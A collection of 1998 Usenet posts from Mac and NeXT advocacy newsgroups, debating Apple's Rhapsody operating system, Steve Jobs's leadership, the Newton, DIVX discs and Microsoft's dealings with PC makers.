References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com>
<353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> taiQ wrote:
> On Mon, 20 Apr 1998 14:54:13, "Lance Togar" <ltogar@msn.com> thought
> aloud:
>
> > Time to wake up! Jobs is little more than a talented circus barker with
the
> > foresight of a caterpillar on the interstate.
>
> These "MS guys" get quite tiring... don't probably even get paid by
> the MS PR machine.
Hmmm, that surely has never been said
about Joey Ragosta ;-)
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody where and how
Date: 23 Apr 1998 16:16:41 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6hnph9$inp@btmpjg.god.bel.alcatel.be>
References: <6hni5m$p01@flonk.uk.sun.com>
Jeff Richmond - SUN UK - SSIR writes
# In article <6hlk5r$39q$1@news.digifix.com>, sanguish@digifix.com
# (Scott Anguish) writes:
# > On 04/22/98, Salvatore Denaro wrote:
# > > The real question is "Will anyone sign up for a Rhapsody/pc license?"
# > > Why would Compaq risk getting MS angry?
# > >
# >
# > I think at this point, MS can't make those types of moves. DOJ is
# > watching too closely... and Compaq has already provided the DOJ
# > with documentation that MS threatened them when they wanted to put
# > Netscape on the desktop.
# >
#
# I believe Compaq was required under subpoena to supply these documents ...
# if I recall correctly, they weren't keen to be co-operative with the DOJ.
#
# However, your point is well taken ... Microsoft is playing a more delicate
# game now due to the DOJ's magnifying glass. Whether Compaq would risk
# upsetting MS is still questionable I think.
#
Approx. two years ago the (then largest) german PC manufacturer Vobis
tried to do the same with OS/2, they even signed the contracts
with IBM and started to sell PCs preconfigured with OS/2 at the
same price as those with Windows.
Microsoft forced them to stop this by refusing to sell Vobis
OEM versions of Windows (for DM50 or so, instead of DM200) as long
as they keep selling OS/2 preinstalled.
This price difference (I hope I got the numbers right) was sufficient
for Vobis to being not able to continue selling OS/2 - with each
sold Windows PC they would lose DM150.
Do you think times have changed?
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 09:30:51 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1>
In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> Did I throw enough acronyms into the subject line?
>
> Here is a dream - what I would like to see, but don't expect it.
>
>
> BACKGROUND:
> -----------
> o The president and congress basically have a goal to replace
> everyone's TV sets with new high definition sets (HDTV) over the next
> decade.
>
> o VHS technology is getting pretty old (but not as old a NTSC and
> PAL), and a number of home electronics vendors would love to see
> everyone upgrade to DVD for watching movies.
>
> o DVD, while providing better audio and video than VHS, is still
> designed around PAL and NTSC output and does not support HDTV
> formats.
>
> o In fact, there is no proposed media player for playing high
> definition quality movies on your HDTV set. Can you imagine building
> a home theater around your new HDTV but not being able to play any
> movies on it?
>
> o While DVD has been around for a few months, its first big test will
> probably be this coming Christmas season.
>
> o HDTV sets are supposed to be available around this Christmas
> season.
>
> o Apple's rumored Apple Media Player (AMP) is supposed to be
> available around this Christmas season.
>
> o Titanic, the most popular movie of all time, will probably make its
> home video debut around this Christmas season.
Unfortunately, Fox and Paramount, Titanic's producers, have apparently
decided to release the film as DIVx disk. This idiotic format, for those
who haven't heard, is a cross between DVD and pay-per-view cable. It
will (ostensibly) work like this: You buy a DIVx equipped player (no,
currently available DVD players won't work), and hook it to your
telephone line. When you buy a DIVx disk, you own only the disk itself.
You do not own VIEWING rights to the movie on the disk! Each time you
view it, the player authorizes a view, and stores the viewing information.
In the middle of the night, the player dials an 800 number and uploads the
viewing information. Then you get a bill for $3-5 a pop for watching the
movie. You can see how incredibly popular this format will be, can't you?
I wonder why the greedy movie companies can't? What will happen, is
that after committing to this idiocy, these two companies will put out
all of their films in DIVx for a couple of years, depriving the DVD market
of those titles. Then, in a couple of years, they will give up, citing poor
customer acceptance, and start making DVDs.
Oh, well, maybe they'll come to their senses before 'Titanic' is due out.
But I wouldn't hold my breath.
George Graves
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Thu, 23 Apr 1998 11:36:20 -0500
Organization: AT&T WorldNet Services
Message-ID: <6hnqgq$dt9@bgtnsc02.worldnet.att.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com>
FWIW-
If Apple prices Rhapsody at $200, and bundles enough basic functionality and
generic apps for me to actually use it out of the box with my cheapie Intel
hardware, it's sold to me. At $500 there's no way I can justify it to
myself as a home OS. But, if I can dual-boot until the app support gets
there, yeah- I'll roll with it for $200.
Hell, I'd do the same with Be if they ever got to a final release instead of
all these preview releases... But no, I'm not going to shell out $70-100 to
beta test someone's OS for them- M$ OR Be.
Thanks for listening.
--
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
macghod@concentric.net wrote in message
<6hnou5$spq$3@newsfep3.sprintmail.com>...
>In <blackstar-2204981924300001@a-206-59.sp.neu.edu> blackstar@aol.com
wrote:
>> They can't tell us how to use it, but if they choose to market it as a
>> Server OS, it will not make as big an impact. Of couse all the current
Mac
>> users know what it does and will run to the stores and buy the first
>> copies regardless of what kind of OS Apple want's to call it. But this OS
>> has a pontential of really increasing Apple's OS marketshare unless they
>> market it to the wrong people.
>
>First of all, funny thing. I called my isp for support. I wanted to know
if
>they used PAP or CHAP or neither. They gave me 2 choices, mac os or
windows
>95. I am on a PC running OPENSTEP, plus I am a avid mac user, so I chose
the
>mac support. THe mac technician didnt know what OPENSTEP is, didnt know
what
>rhapsody is, and didnt know what NeXT is. He was really surprised he hadnt
>heard of any of these since he "really stays up with what is going on with
>the mac" <VBG>
>
>Also, as you probably realize that it is not NECESARILY true that most mac
>users who know what it is will run out and buy it when it is released.
*IF*
>Apple charges too much, these users may WANT to buy it but not be able to
>because its too expensive. I would suggest if RHapsody is $500 or more a
>good many people will not buy it. Of course hopefully Rhapsody will only
>cost about $200
>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 23 Apr 1998 16:22:03 GMT
Organization: P & L Systems
Message-ID: <6hnprb$57p$28@ironhorse.plsys.co.uk>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
<6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
<6hg243$l1p$1@vixen.cso.uiuc.edu> <353B9AF0.4C2D@CONVEX.COM>
<6hga5e$57p$13@ironhorse.plsys.co.uk> <353BB67A.5229@CONVEX.COM>
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Cc: ECK@CONVEX.COM
In <353BB67A.5229@CONVEX.COM> Michael Peck wrote:
> mmalcolm crawford wrote:
> >
> > In <353B9AF0.4C2D@CONVEX.COM> Michael Peck wrote:
> > > that technology isn't waiting around for DPS to get the recognition it
> > > deserves. There are very serious (and huge) markets being driven by the
> > > latest in visualization and rendering technologies. Is "DPS is great"
> > > the only response we can expect from Cupertino? Shitty as Direct3D is,
> > > it does the job. As wonderful as DPS is, it doesn't.
> > >
> > So who is advocating the use of DPS for the latest in visualization and
> > rendering technologies? Me, I'm waiting for the QTML framework on
> > Rhapsody...
>
> I could be wrong, but I thought I remembered from somewhere that RAVE is
> dead. What is Apple's plan for hardware acceleration? For graphics I/O?
> For stereo output?
>
I don't know because I haven't looked;
I don't know because I haven't looked; and
I don't know because I haven't looked.
> What is Apple's plan for adopting OpenGL? Is Apple basically writing off
> all existing acceleration APIs? Is Rhapsody that far away? Does Apple
> plan to support Fahrenheit? When are they going to announce their
> cooperation? Is this going to be last-minute/forced-hand effort? Have we
> seen this before?
>
I don't know because I haven't looked -- I'd expect to hear a number of
answers at WWDC.
> I think from a NeXT point of view, it could be said that Apple has been
> forthcoming with answers about its strategic vision. But from the
> standpoint of many other industry segments, things aren't shaping up at
> all.
>
In what way? If anything I thought people were complaining that Apple
weren't being forthcoming about Rhapsody (i.e. the NeXT point of view).
> The real problem is not that Apple isn't providing answers, but that
> there aren't any really obvious answers to guess at *and* Apple isn't
> providing answers.
>
> The best way for Apple to make people like Lawson go away is to start
> providing the idle mind with something to think about besides
> conjecture.
>
Like YellowBox. He's got plenty to think about -- he'd rather just spend
time complaining about what is past.
> In my opinion, the thing that most stokes the MacOS/Rhapsody
> rumor mill is Steve Jobs' comparative lack of substantial dialogue on
> the future of Apple.
>
You're probably right. That's no excuse for some of the mindless blather
we've seen on the subject, though. And again, I'd expect concrete answers at
WWDC. Another couple of weeks isn't going to hurt now, is it?
> All advocacy aside, "Think Different" isn't very descriptive.
>
I don't really care -- despite my initial scepticism, it seems to be working.
It's the results that count.
> thinking "different" implies not-something and yes-something-else. All
> we're seeing so far is not-something, as in not-Newton, not-OpenDoc,
> not-GX, and not-GameSprockets. At some point, Apple is going to run out
> of products to cut for quick profits.
>
This is simply not true.
We've seen QT3.0, a new range of G3 systems, a new LCD display, MacOS 8.0 and
8.1, WebObjects 3.5, and, if you're willing to believe it, a solid roadmap
towards YellowBox. More than that we've seen two profitable quarters, with
profit margin and units sold both increasing, and an increasingly favourable
media attitude.
Really, I think you should put your unfortunate experiences with NEXTSTEP
behind you and get on with Life.
mmalc.
From: Jay Hill <ih4@ornl.gov>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 23 Apr 1998 12:46:46 -0400
Organization: Oak Ridge National Lab, Oak Ridge, TN
Message-ID: <353F7076.A9C0ADB9@ornl.gov>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141>
<1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com> <6hnq54$3s$2@newsfep3.sprintmail.com>
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macghod@concentric.net wrote:
> > It looks like we'll have to wait until WWDC to see DR2 (likely even
> > longer if we're not able to attend). Of course, even the WWDC/DR2 rumour
> > is just a rumor. We don't even know if Apple will release a DR2. They
> > might go directly to CR1 (a bad idea, IMHO).
>
> What is the status of dr2?
Don't know for sure but *rumors* is that it should be available at WWDC (<1
month away).
> Is it going to contain the next developer toolsthat came
> on prelude to rhapsody? IN other words, has interface builder etc been
> ported to
> rhapsody yet, and are they shipping with dr2? Did they ship with dr1?
Yes, IP/PB shipped with DR1.
> > What bums me out is that I've had DR1 since November (or whenever it was
> > seeded to developrs) and I still can't compile a modern C++ program
> > (i.e., using the C++ Standard Library). Metrowerks appears to have
> > slipped wildly in their delivery of Rhapsody tools, which means that any
> > software which uses C++ significantly cannot be ported to Rhapsody this
> > year.
> >
> > If you know any better news, please let me know. I need cheering up.
>
> Umm, I thought the OPENSTEP api's required object c? Meaning you can use
> c++, but
> you stil need to know objective c
>
> --
> running on a PC with OPENSTEP, the year 2000 free operating system
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 23 Apr 1998 13:05:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6hnsci$js4$1@crib.bevc.blacksburg.va.us>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com>
In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> THe mac technician didnt know what OPENSTEP is, didnt know what
> rhapsody is, and didnt know what NeXT is. He was really surprised he hadnt
> heard of any of these since he "really stays up with what is going on with
> the mac" <VBG>
You should've asked him if he knew who the CEO was. I bet he'd have said
"Amelio". Or maybe "Spindler". :) (Or, most likely, "I dunno.. say,
did you hear they're making color Macs now?")
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 16:54:13 GMT
Organization: P & L Systems
Message-ID: <6hnrnl$57p$29@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141>
<1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com> <6hnq54$3s$2@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: macghod@concentric.net
In <6hnq54$3s$2@newsfep3.sprintmail.com> Mr Sullivan wrote:
>
> What is the status of dr2?
>
I'd guess "imminent".
> Is it going to contain the next developer tools that came
> on prelude to rhapsody?
>
I'd guess they'll have been enhanced.
> IN other words, has interface builder etc been ported to
> rhapsody yet,
>
Umm, I think it's reasonable to expect that all the developer tools were
available with RDR...
> and are they shipping with dr2?
>
... and they'll ship with DR2 -- else how would the developers develop...?
Someone else wrote:
> > What bums me out is that I've had DR1 since November (or whenever it was
> > seeded to developrs) and I still can't compile a modern C++ program
> > (i.e., using the C++ Standard Library). Metrowerks appears to have
> > slipped wildly in their delivery of Rhapsody tools, which means that any
> > software which uses C++ significantly cannot be ported to Rhapsody this
> > year.
> >
> > If you know any better news, please let me know. I need cheering up.
>
Umm, a significant amount of Mesa (our spreadsheet, not the OpenGL thang) is
written in C++...
> Umm, I thought the OPENSTEP api's required object c? Meaning you can use
> c++, but you stil need to know objective c
>
Or Java.
mmalc.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 23 Apr 1998 17:32:15 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6hntuv$bec$1@supernews.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu> <slrn6js1u3.61p.sal@panix3.panix.com> <6hnid5$mnk@nntp02.primenet.com>
Followups.
>: >I would think that the Palm Pilot provides evidence that the Newton had a
>: >chance of making money.
I suspect that Apple tried to solve too big of a problem with Newton.
Most people are interested in hand-helds for a smallish problem domain--
addresses, meetings, schedules, and the like. To work there you need
a smallish form factor and a (relatively) low price. Primitive handwriting
recognition is icing on the cake. Palm Pilot hit the market square.
The competition was Dayrunners, not some mystical new product category.
--
Don McGregor | "[Pol Pot] had a certain charisma that made him
mcgredo@mbay.net | 'very charming.'"
Date: Thu, 23 Apr 1998 13:32:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Message-ID: <joe.ragosta-2304981332590001@wil133.dol.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
In article <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>
> Unfortunately, Fox and Paramount, Titanic's producers, have apparently
> decided to release the film as DIVx disk. This idiotic format, for those
> who haven't heard, is a cross between DVD and pay-per-view cable. It
> will (ostensibly) work like this: You buy a DIVx equipped player (no,
> currently available DVD players won't work), and hook it to your
> telephone line. When you buy a DIVx disk, you own only the disk itself.
> You do not own VIEWING rights to the movie on the disk! Each time you
> view it, the player authorizes a view, and stores the viewing information.
> In the middle of the night, the player dials an 800 number and uploads the
> viewing information. Then you get a bill for $3-5 a pop for watching the
> movie. You can see how incredibly popular this format will be, can't you?
> I wonder why the greedy movie companies can't? What will happen, is
> that after committing to this idiocy, these two companies will put out
> all of their films in DIVx for a couple of years, depriving the DVD market
> of those titles. Then, in a couple of years, they will give up, citing poor
> customer acceptance, and start making DVDs.
LOL.
And I thought _Apple_ marketing was bad.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 16:27:16 GMT
Message-ID: <6hnq54$3s$2@newsfep3.sprintmail.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141>
<1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: dbk@mcs.com
> It looks like we'll have to wait until WWDC to see DR2 (likely even
> longer if we're not able to attend). Of course, even the WWDC/DR2 rumour
> is just a rumor. We don't even know if Apple will release a DR2. They
> might go directly to CR1 (a bad idea, IMHO).
What is the status of dr2? Is it going to contain the next developer tools
that came
on prelude to rhapsody? IN other words, has interface builder etc been
ported to
rhapsody yet, and are they shipping with dr2? Did they ship with dr1?
> What bums me out is that I've had DR1 since November (or whenever it was
> seeded to developrs) and I still can't compile a modern C++ program
> (i.e., using the C++ Standard Library). Metrowerks appears to have
> slipped wildly in their delivery of Rhapsody tools, which means that any
> software which uses C++ significantly cannot be ported to Rhapsody this
> year.
>
> If you know any better news, please let me know. I need cheering up.
Umm, I thought the OPENSTEP api's required object c? Meaning you can use
c++, but
you stil need to know objective c
--
running on a PC with OPENSTEP, the year 2000 free operating system
Date: Thu, 23 Apr 1998 13:36:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2304981336540001@wil133.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com>
In article <6hnpt1$3s$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> In <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> taiQ wrote:
> > On Mon, 20 Apr 1998 14:54:13, "Lance Togar" <ltogar@msn.com> thought
> > aloud:
> >
> > > Time to wake up! Jobs is little more than a talented circus barker with
> the
> > > foresight of a caterpillar on the interstate.
> >
> > These "MS guys" get quite tiring... don't probably even get paid by
> > the MS PR machine.
>
> Hmmm, that surely has never been said
> about Joey Ragosta ;-)
I hope not.
I have never accepted money from anyone for my advocacy. You'll notice
that I don't even have advertising on my web page.
The only thing I've ever accepted is a copy of software in return for beta
testing. This is standard industry practice and I've beta tested MS
products as well as Apple products, so that alone isn't unfair.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 23 Apr 1998 13:34:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <joe.ragosta-2304981334240001@wil133.dol.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com>
In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> Also, as you probably realize that it is not NECESARILY true that most mac
> users who know what it is will run out and buy it when it is released. *IF*
> Apple charges too much, these users may WANT to buy it but not be able to
> because its too expensive. I would suggest if RHapsody is $500 or more a
> good many people will not buy it. Of course hopefully Rhapsody will only
> cost about $200
But if Sonata offers all of Rhapsody except the CLI and BSD support, who cares?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 11:26:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B164D5BD-57E62@206.165.43.25>
References: <see-below-2204982047250001@209.24.241.227>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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> In article <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu>, mbkennel <
> replace
> this with '@'> yahoo.com wrote:
>
> > On Tue, 21 Apr 1998 15:14:07 -0400, Sam Kass <samkass@samkass.com>
> wrote:
> > :I think its premature to comment on whether Jobs will turn out to have
> > :been a good CEO, as none of his plans have come to fruitition yet.
> >
> > Tevanian as head of software, and Rubenstein as head of hardware.
> >
> > Online store, and "store within a store."
> >
> > And re-hiring chiat/day.
Aside from chiat/day, all the rest were started before Jobs.
I mean, at the least, Tevanian and Rubenstein came as part of the NeXT
purchase, which was Amelio's decision.
Or at least, HE likes to think that it was his decision.
Hmmm...
You're right.
Jobs is God, and merely created the universe to make sure that Amelio was
born, would become CEO of Apple, and purchase NeXT, all to make sure that
Jobs became CEO of Apple again.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sschaper@nemesis.inlink.com (Steve Schaper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 23 Apr 1998 18:27:00 GMT
Organization: InLink
Message-ID: <6ho15k$1qn$1@news1.inlink.com>
Anyone know if any progress has been made on X Window for Rhapsody beyond
that first beta release?
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Thu, 23 Apr 1998 12:58:57 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2304981258570001@130.130.117.53>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com> <6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <353D06AD.5412@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:> b. Newton (supposedly Amelio's keeping the Newton was against
:> various recommendations.)
:
:But not, apparently, the recommendations of customers. Silly Amelio!
:Jobs has since proven that ignoring customers is a smarter way of doing
:business.
This is the all the wood behind one arrow thing. There is some really
great wood over there in the Newton division. None of those technologies
made it over to Mac OS after 5 years, which shows that there was something
wrong with the plan. Newton had one of the best handwriting recognizers
in the world and that should have been implemented on Mac OS and as an add
on to Windows as well. Those algorithms are unlikely to need the soup
concepts or any of the other stuff that distinguishes the Newton platform.
I would assume that someone took a good look at the things that
distinguished a newton and decided that enough of those advantatges could
be implemented in other ways as effectively. If 75% of the functionality
can be maintained while reducing the fragmentation of the long term plan
signifigantly then it makes sense to bury the product and improve the
primary product line.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 23 Apr 1998 11:50:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B164DB39-6C834@206.165.43.25>
References: <see-below-2204982044230001@209.24.241.227>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Matthew Vaughan <see-below@not-my-address.com> said:
> But not least, any "major push" will be futile if there aren't any
> applications to speak of. I know there's a small cadre of OpenStep
> developers with good stuff to offer, but I doubt that will be nearly
> enough to sway very many customers. Right now Apple doesn't need to sell
> it to end users so much as they need to sell it to developers.
>
Read
<http://www.abcnews.com/sections/tech/chat_transcripts/gilamelio.html>
Relevant quote:
+++++
Nick from microsoft.com at 3:35pm ET
What do you think was the main motivation for Bill Gates buying into Apple?
?
Gil Amelio at 3:38pm ET
Microsoft was in violation of Apple's intellectual propert and patented
material. And in order to settle the matter, he agreed to make an
investment in the company. In addition to a financial investment, I wanted
a commitment from Microsoft to develop Microsoft Office for Rhapsody. It
was for this reason I had not announced a deal with Microsoft prior to my
departure. When Steve took over, he caved on this point, and was able to
make an announcement at MacWorld Boston.
++++++
Blame the Steve for not getting MS Office for Rhapsody as part of the deal.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmd103@psu.edu (RM DAscenzo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 15:03:43 -0400
Organization: Penn State University
Message-ID: <rmd103-2304981503430001@beachhouse.soc.psu.edu>
References: <01bd6e3f$00eed8d0$04387880@test1>
In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> DREAM:
> ------
> I would love for Apple to deliver AMP, capable of not only reading
> the standard DVD disks, but also capable of reading new HDTV-DVD
> formatted disks (designed by Apple and others).
How would you feel about one in the trunk of your car capapble of playing MP3's?
-ron
From: dbk@mcs.com (Dan "Bud" Keith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Thu, 23 Apr 1998 14:07:54 -0500
Organization: Emergent Systems
Message-ID: <1d7xz45.g0ce3b1l3mx0uN@dbklap.bb.opentext.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141> <1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com> <6hnq54$3s$2@newsfep3.sprintmail.com> <6hnrnl$57p$29@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Umm, a significant amount of Mesa (our spreadsheet, not the OpenGL thang)
>is written in C++...
It's good to know that others are doing C++ on Rhapsody. But do you use
any STL classes (e.g., vector, deque, iterator)? If so, where did you
get the .h files (e.g., vector.h)? Is there a better version of the
tools than that shipped with RDR1?
Thanks for any info.
bud
----- Dan Keith (dbk@mcs.com) -----
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Thu, 23 Apr 1998 12:10:47 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2304981210470001@dante.eng.uci.edu>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com>
In article <6hm81r$bc9$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>Without nit pik'g every point made, and you make several wonderful ones, I'm
>not convinced. The weight of your evidence falls mostly on enthusiasm. It's
>kinda like a mini- MICROSOFT strategy to own the graphics world and the
>hardware it runs on. I am clueless to Apple's MarketPlan but I do know that
>they do not want another Microsoft.
I tend to agree, but think about the marketing potential:
"The new PowerMacintosh Cray is up to 83,000 times faster than the fastest
Pentium II. Think Liquid Cooled."
But I think there are enough good reasons why Apple should work in an SGI
direction.
>What SGI brings to Apple is likely to be diluted with the passage of the next
>hardware/software generations. To wit: NT eating into SGI sales... SGI has
>decided to meet customer "choice" expectations for SGI software. If
>RhapsodyOS is a "real" serverOS SGI customer's will demand a Rhapsody choice,
>too. A loyal bunch of 3D customer's who may not care what hardware their
>software runs on will go where the best Price/Performance exists... and the
>software follows. Apple gets the software port - free!
But I don't see IRIX or MIPS as being relevant to the attraction, rather
the SGI performance balance, specialized hardware, OpenGL and
applications. So rather than SGI walking away from it's hardware platform
altogether, make it a Rhapsody clone vendor putting PowerPC chips (G4
perhaps) into SGI designed hardware. Get SGI apps ported to Rhapsody and
give it top OpenGL support. Those'd be some pretty sweet systems and not
directly competitive to what Apple is making, yet Apple would get the
content creation market locked up without becoming Microsoftian.
>Whatever current advantage SGI hardware engineering has over Apple hardware is
>not going to last if SJ has anything to say about it. Once Apple releases
>their ServerOS on less than ServerHDWE, the race is over before it has begun.
>That is not an option on SJ's list.
The best hardware that Apple ever put out for the role is the Network
Servers, which were very nice, OS notwithstanding. But I can't see Apple
competing against Sun, SGI, and such on hardware - it's not their role. I
*do* see SJ making sure that hardware is available somewhere, though.
>If Apple was insecure enough to jump at the chance to spend their "precious"
>cash reserves on SGI, I'd watch investor reactions...
We'd tank pretty bad.
>Now if you told me SGI has a clusterSERVER technology for vending on the
>Web... all bets are off and I'm listening.
Then why would they sell to Apple for any price that Apple could afford?
-Bob Cassidy
From: nasadowsk@uhavax.hartford.edu (Philip Nasadowski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 15:23:49 -0400
Organization: Student//Metalhead FROM HELL!!!
